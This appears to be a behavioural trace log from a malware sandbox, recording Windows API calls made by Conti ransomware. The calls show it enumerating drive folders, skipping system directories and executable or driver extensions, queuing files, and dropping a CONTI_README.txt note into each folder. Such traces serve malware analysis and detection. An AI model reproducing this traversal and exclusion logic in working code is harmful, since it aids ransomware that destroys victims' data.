	[0093.180] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x4b624ce7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x175e330
	[0093.180] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.180] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x4b624ce7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0093.180] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.180] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.180] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b624ce7, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4b624ce7, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4b624ce7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.180] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.180] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.180] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.180] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.180] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1
	[0093.180] lstrcmpiW (lpString1="GetCurrentOOBE.dll", lpString2=".") returned 1
	[0093.180] lstrcmpiW (lpString1="GetCurrentOOBE.dll", lpString2="..") returned 1
	[0093.180] StrStrIW (lpFirst="GetCurrentOOBE.dll", lpSrch=".CONTI") returned 0x0
	[0093.180] StrStrIW (lpFirst="GetCurrentOOBE.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.180] StrStrIW (lpFirst="GetCurrentOOBE.dll", lpSrch=".exe") returned 0x0
	[0093.180] StrStrIW (lpFirst="GetCurrentOOBE.dll", lpSrch=".dll") returned=".dll"
	[0093.180] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1
	[0093.180] lstrcmpiW (lpString1="GetCurrentRollback.ini", lpString2=".") returned 1
	[0093.180] lstrcmpiW (lpString1="GetCurrentRollback.ini", lpString2="..") returned 1
	[0093.180] StrStrIW (lpFirst="GetCurrentRollback.ini", lpSrch=".CONTI") returned 0x0
	[0093.180] StrStrIW (lpFirst="GetCurrentRollback.ini", lpSrch="CONTI_README.txt") returned 0x0
	[0093.180] StrStrIW (lpFirst="GetCurrentRollback.ini", lpSrch=".exe") returned 0x0
	[0093.180] StrStrIW (lpFirst="GetCurrentRollback.ini", lpSrch=".dll") returned 0x0
	[0093.180] StrStrIW (lpFirst="GetCurrentRollback.ini", lpSrch=".lnk") returned 0x0
	[0093.180] StrStrIW (lpFirst="GetCurrentRollback.ini", lpSrch=".sys") returned 0x0
	[0093.181] StrStrIW (lpFirst="GetCurrentRollback.ini", lpSrch=".CONTI") returned 0x0
	[0093.181] StrStrIW (lpFirst="GetCurrentRollback.ini", lpSrch="CONTI_README.txt") returned 0x0
	[0093.181] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS") returned 21
	[0093.181] lstrlenW (lpString="GetCurrentRollback.ini") returned 22
	[0093.181] GetProcessHeap () returned 0x1720000
	[0093.181] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x1732540
	[0093.181] lstrcpyW (in: lpString1=0x1732540, lpString2="C:\\$GetCurrent\\SafeOS" | out: lpString1="C:\\$GetCurrent\\SafeOS") returned="C:\\$GetCurrent\\SafeOS"
	[0093.181] lstrcatW (in: lpString1="C:\\$GetCurrent\\SafeOS", lpString2="\\" | out: lpString1="C:\\$GetCurrent\\SafeOS\\") returned="C:\\$GetCurrent\\SafeOS\\"
	[0093.181] lstrcatW (in: lpString1="C:\\$GetCurrent\\SafeOS\\", lpString2="GetCurrentRollback.ini" | out: lpString1="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini"
	[0093.181] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17bf350) returned 1
	[0093.181] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1
	[0093.181] lstrcmpiW (lpString1="PartnerSetupComplete.cmd", lpString2=".") returned 1
	[0093.181] lstrcmpiW (lpString1="PartnerSetupComplete.cmd", lpString2="..") returned 1
	[0093.181] StrStrIW (lpFirst="PartnerSetupComplete.cmd", lpSrch=".CONTI") returned 0x0
	[0093.181] StrStrIW (lpFirst="PartnerSetupComplete.cmd", lpSrch="CONTI_README.txt") returned 0x0
	[0093.181] StrStrIW (lpFirst="PartnerSetupComplete.cmd", lpSrch=".exe") returned 0x0
	[0093.181] StrStrIW (lpFirst="PartnerSetupComplete.cmd", lpSrch=".dll") returned 0x0
	[0093.181] StrStrIW (lpFirst="PartnerSetupComplete.cmd", lpSrch=".lnk") returned 0x0
	[0093.181] StrStrIW (lpFirst="PartnerSetupComplete.cmd", lpSrch=".sys") returned 0x0
	[0093.181] StrStrIW (lpFirst="PartnerSetupComplete.cmd", lpSrch=".CONTI") returned 0x0
	[0093.181] StrStrIW (lpFirst="PartnerSetupComplete.cmd", lpSrch="CONTI_README.txt") returned 0x0
	[0093.181] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS") returned 21
	[0093.181] lstrlenW (lpString="PartnerSetupComplete.cmd") returned 24
	[0093.181] GetProcessHeap () returned 0x1720000
	[0093.181] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5e) returned 0x17bc470
	[0093.181] lstrcpyW (in: lpString1=0x17bc470, lpString2="C:\\$GetCurrent\\SafeOS" | out: lpString1="C:\\$GetCurrent\\SafeOS") returned="C:\\$GetCurrent\\SafeOS"
	[0093.181] lstrcatW (in: lpString1="C:\\$GetCurrent\\SafeOS", lpString2="\\" | out: lpString1="C:\\$GetCurrent\\SafeOS\\") returned="C:\\$GetCurrent\\SafeOS\\"
	[0093.181] lstrcatW (in: lpString1="C:\\$GetCurrent\\SafeOS\\", lpString2="PartnerSetupComplete.cmd" | out: lpString1="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd"
	[0093.181] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17bf588) returned 1
	[0093.181] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1
	[0093.181] lstrcmpiW (lpString1="preoobe.cmd", lpString2=".") returned 1
	[0093.181] lstrcmpiW (lpString1="preoobe.cmd", lpString2="..") returned 1
	[0093.181] StrStrIW (lpFirst="preoobe.cmd", lpSrch=".CONTI") returned 0x0
	[0093.182] StrStrIW (lpFirst="preoobe.cmd", lpSrch="CONTI_README.txt") returned 0x0
	[0093.182] StrStrIW (lpFirst="preoobe.cmd", lpSrch=".exe") returned 0x0
	[0093.182] StrStrIW (lpFirst="preoobe.cmd", lpSrch=".dll") returned 0x0
	[0093.182] StrStrIW (lpFirst="preoobe.cmd", lpSrch=".lnk") returned 0x0
	[0093.182] StrStrIW (lpFirst="preoobe.cmd", lpSrch=".sys") returned 0x0
	[0093.182] StrStrIW (lpFirst="preoobe.cmd", lpSrch=".CONTI") returned 0x0
	[0093.182] StrStrIW (lpFirst="preoobe.cmd", lpSrch="CONTI_README.txt") returned 0x0
	[0093.182] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS") returned 21
	[0093.182] lstrlenW (lpString="preoobe.cmd") returned 11
	[0093.182] GetProcessHeap () returned 0x1720000
	[0093.182] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x44) returned 0x173d378
	[0093.182] lstrcpyW (in: lpString1=0x173d378, lpString2="C:\\$GetCurrent\\SafeOS" | out: lpString1="C:\\$GetCurrent\\SafeOS") returned="C:\\$GetCurrent\\SafeOS"
	[0093.182] lstrcatW (in: lpString1="C:\\$GetCurrent\\SafeOS", lpString2="\\" | out: lpString1="C:\\$GetCurrent\\SafeOS\\") returned="C:\\$GetCurrent\\SafeOS\\"
	[0093.182] lstrcatW (in: lpString1="C:\\$GetCurrent\\SafeOS\\", lpString2="preoobe.cmd" | out: lpString1="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned="C:\\$GetCurrent\\SafeOS\\preoobe.cmd"
	[0093.182] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17bf7c0) returned 1
	[0093.182] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1
	[0093.182] lstrcmpiW (lpString1="SetupComplete.cmd", lpString2=".") returned 1
	[0093.182] lstrcmpiW (lpString1="SetupComplete.cmd", lpString2="..") returned 1
	[0093.182] StrStrIW (lpFirst="SetupComplete.cmd", lpSrch=".CONTI") returned 0x0
	[0093.182] StrStrIW (lpFirst="SetupComplete.cmd", lpSrch="CONTI_README.txt") returned 0x0
	[0093.182] StrStrIW (lpFirst="SetupComplete.cmd", lpSrch=".exe") returned 0x0
	[0093.182] StrStrIW (lpFirst="SetupComplete.cmd", lpSrch=".dll") returned 0x0
	[0093.182] StrStrIW (lpFirst="SetupComplete.cmd", lpSrch=".lnk") returned 0x0
	[0093.182] StrStrIW (lpFirst="SetupComplete.cmd", lpSrch=".sys") returned 0x0
	[0093.182] StrStrIW (lpFirst="SetupComplete.cmd", lpSrch=".CONTI") returned 0x0
	[0093.182] StrStrIW (lpFirst="SetupComplete.cmd", lpSrch="CONTI_README.txt") returned 0x0
	[0093.182] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS") returned 21
	[0093.182] lstrlenW (lpString="SetupComplete.cmd") returned 17
	[0093.182] GetProcessHeap () returned 0x1720000
	[0093.182] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x50) returned 0x17bf9f8
	[0093.182] lstrcpyW (in: lpString1=0x17bf9f8, lpString2="C:\\$GetCurrent\\SafeOS" | out: lpString1="C:\\$GetCurrent\\SafeOS") returned="C:\\$GetCurrent\\SafeOS"
	[0093.182] lstrcatW (in: lpString1="C:\\$GetCurrent\\SafeOS", lpString2="\\" | out: lpString1="C:\\$GetCurrent\\SafeOS\\") returned="C:\\$GetCurrent\\SafeOS\\"
	[0093.183] lstrcatW (in: lpString1="C:\\$GetCurrent\\SafeOS\\", lpString2="SetupComplete.cmd" | out: lpString1="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd"
	[0093.183] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c17d0) returned 1
	[0093.183] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0
	[0093.183] GetProcessHeap () returned 0x1720000
	[0093.183] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1738c90 | out: hHeap=0x1720000) returned 1
	[0093.183] FindClose (in: hFindFile=0x175e330 | out: hFindFile=0x175e330) returned 1
	[0093.183] GetProcessHeap () returned 0x1720000
	[0093.183] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1738ad0 | out: hHeap=0x1720000) returned 1
	[0093.183] FindNextFileW (in: hFindFile=0x175e470, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650072, dwReserved1=0x74006e, cFileName="SafeOS", cAlternateFileName="")) returned 0
	[0093.183] GetProcessHeap () returned 0x1720000
	[0093.183] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741e18 | out: hHeap=0x1720000) returned 1
	[0093.183] FindClose (in: hFindFile=0x175e470 | out: hFindFile=0x175e470) returned 1
	[0093.192] GetProcessHeap () returned 0x1720000
	[0093.193] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x174e4e8 | out: hHeap=0x1720000) returned 1
	[0093.193] FindNextFileW (in: hFindFile=0x175e830, lpFindFileData=0x5c3fb20 | out: lpFindFileData=0x5c3fb20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffff, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1
	[0093.193] lstrcmpiW (lpString1="$Recycle.Bin", lpString2=".") returned -1
	[0093.193] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="..") returned -1
	[0093.193] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="tmp") returned -1
	[0093.193] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="winnt") returned -1
	[0093.193] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="Application Data") returned -1
	[0093.193] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="AppData") returned -1
	[0093.193] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="temp") returned -1
	[0093.193] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="thumb") returned -1
	[0093.193] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="$Recycle.Bin") returned 0
	[0093.193] StrStrIW (lpFirst="$Recycle.Bin", lpSrch=".CONTI") returned 0x0
	[0093.193] StrStrIW (lpFirst="$Recycle.Bin", lpSrch="CONTI_README.txt") returned 0x0
	[0093.193] StrStrIW (lpFirst="$Recycle.Bin", lpSrch=".exe") returned 0x0
	[0093.193] StrStrIW (lpFirst="$Recycle.Bin", lpSrch=".dll") returned 0x0
	[0093.193] StrStrIW (lpFirst="$Recycle.Bin", lpSrch=".lnk") returned 0x0
	[0093.194] StrStrIW (lpFirst="$Recycle.Bin", lpSrch=".sys") returned 0x0
	[0093.194] StrStrIW (lpFirst="$Recycle.Bin", lpSrch=".CONTI") returned 0x0
	[0093.194] StrStrIW (lpFirst="$Recycle.Bin", lpSrch="CONTI_README.txt") returned 0x0
	[0093.194] lstrlenW (lpString="C:\\") returned 3
	[0093.194] lstrlenW (lpString="$Recycle.Bin") returned 12
	[0093.194] GetProcessHeap () returned 0x1720000
	[0093.194] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x22) returned 0x1741e18
	[0093.194] lstrcpyW (in: lpString1=0x1741e18, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\"
	[0093.194] lstrcatW (in: lpString1="C:\\", lpString2="$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin"
	[0093.194] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c07c8) returned 1
	[0093.194] FindNextFileW (in: hFindFile=0x175e830, lpFindFileData=0x5c3fb20 | out: lpFindFileData=0x5c3fb20*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffff, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
	[0093.194] lstrcmpiW (lpString1="$WINRE_BACKUP_PARTITION.MARKER", lpString2=".") returned -1
	[0093.194] lstrcmpiW (lpString1="$WINRE_BACKUP_PARTITION.MARKER", lpString2="..") returned -1
	[0093.194] StrStrIW (lpFirst="$WINRE_BACKUP_PARTITION.MARKER", lpSrch=".CONTI") returned 0x0
	[0093.194] StrStrIW (lpFirst="$WINRE_BACKUP_PARTITION.MARKER", lpSrch="CONTI_README.txt") returned 0x0
	[0093.194] StrStrIW (lpFirst="$WINRE_BACKUP_PARTITION.MARKER", lpSrch=".exe") returned 0x0
	[0093.194] StrStrIW (lpFirst="$WINRE_BACKUP_PARTITION.MARKER", lpSrch=".dll") returned 0x0
	[0093.194] StrStrIW (lpFirst="$WINRE_BACKUP_PARTITION.MARKER", lpSrch=".lnk") returned 0x0
	[0093.194] StrStrIW (lpFirst="$WINRE_BACKUP_PARTITION.MARKER", lpSrch=".sys") returned 0x0
	[0093.194] StrStrIW (lpFirst="$WINRE_BACKUP_PARTITION.MARKER", lpSrch=".CONTI") returned 0x0
	[0093.194] StrStrIW (lpFirst="$WINRE_BACKUP_PARTITION.MARKER", lpSrch="CONTI_README.txt") returned 0x0
	[0093.194] lstrlenW (lpString="C:\\") returned 3
	[0093.194] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30
	[0093.194] GetProcessHeap () returned 0x1720000
	[0093.194] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x46) returned 0x173cfb8
	[0093.194] lstrcpyW (in: lpString1=0x173cfb8, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\"
	[0093.194] lstrcatW (in: lpString1="C:\\", lpString2="$WINRE_BACKUP_PARTITION.MARKER" | out: lpString1="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned="C:\\$WINRE_BACKUP_PARTITION.MARKER"
	[0093.194] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c0a00) returned 1
	[0093.194] FindNextFileW (in: hFindFile=0x175e830, lpFindFileData=0x5c3fb20 | out: lpFindFileData=0x5c3fb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffff, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0093.194] lstrcmpiW (lpString1="588bce7c90097ed212", lpString2=".") returned 1
	[0093.194] lstrcmpiW (lpString1="588bce7c90097ed212", lpString2="..") returned 1
	[0093.194] lstrcmpiW (lpString1="588bce7c90097ed212", lpString2="tmp") returned -1
	[0093.195] lstrcmpiW (lpString1="588bce7c90097ed212", lpString2="winnt") returned -1
	[0093.195] lstrcmpiW (lpString1="588bce7c90097ed212", lpString2="Application Data") returned -1
	[0093.195] lstrcmpiW (lpString1="588bce7c90097ed212", lpString2="AppData") returned -1
	[0093.195] lstrcmpiW (lpString1="588bce7c90097ed212", lpString2="temp") returned -1
	[0093.195] lstrcmpiW (lpString1="588bce7c90097ed212", lpString2="thumb") returned -1
	[0093.195] lstrcmpiW (lpString1="588bce7c90097ed212", lpString2="$Recycle.Bin") returned 1
	[0093.195] lstrcmpiW (lpString1="588bce7c90097ed212", lpString2="$RECYCLE.BIN") returned 1
	[0093.195] lstrcmpiW (lpString1="588bce7c90097ed212", lpString2="System Volume Information") returned -1
	[0093.195] lstrcmpiW (lpString1="588bce7c90097ed212", lpString2="Program Files") returned -1
	[0093.195] lstrcmpiW (lpString1="588bce7c90097ed212", lpString2="Program Files (x86)") returned -1
	[0093.195] lstrcmpiW (lpString1="588bce7c90097ed212", lpString2="Boot") returned -1
	[0093.195] lstrcmpiW (lpString1="588bce7c90097ed212", lpString2="Windows") returned -1
	[0093.195] lstrlenW (lpString="C:\\") returned 3
	[0093.195] lstrlenW (lpString="588bce7c90097ed212") returned 18
	[0093.195] GetProcessHeap () returned 0x1720000
	[0093.195] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x2e) returned 0x1738d00
	[0093.195] lstrcpyW (in: lpString1=0x1738d00, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\"
	[0093.195] lstrcatW (in: lpString1="C:\\", lpString2="588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.195] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.195] GetProcessHeap () returned 0x1720000
	[0093.195] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x30) returned 0x1738d70
	[0093.195] lstrcpyW (in: lpString1=0x1738d70, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.195] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\*") returned="C:\\588bce7c90097ed212\\*"
	[0093.195] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.195] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.195] GetProcessHeap () returned 0x1720000
	[0093.195] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4e) returned 0x17bfa50
	[0093.195] lstrcpyW (in: lpString1=0x17bfa50, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.195] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.195] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\CONTI_README.txt"
	[0093.195] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0093.197] GetProcessHeap () returned 0x1720000
	[0093.197] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfa50 | out: hHeap=0x1720000) returned 1
	[0093.197] WriteFile (in: hFile=0x2f8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f88c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f88c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.198] CloseHandle (hObject=0x2f8) returned 1
	[0093.198] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b64b06e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName=".", cAlternateFileName="")) returned 0x175e670
	[0093.199] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.199] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b64b06e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="..", cAlternateFileName="")) returned 1
	[0093.199] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.199] lstrcmpiW (lpString1="..", lpString2="..") returned 0
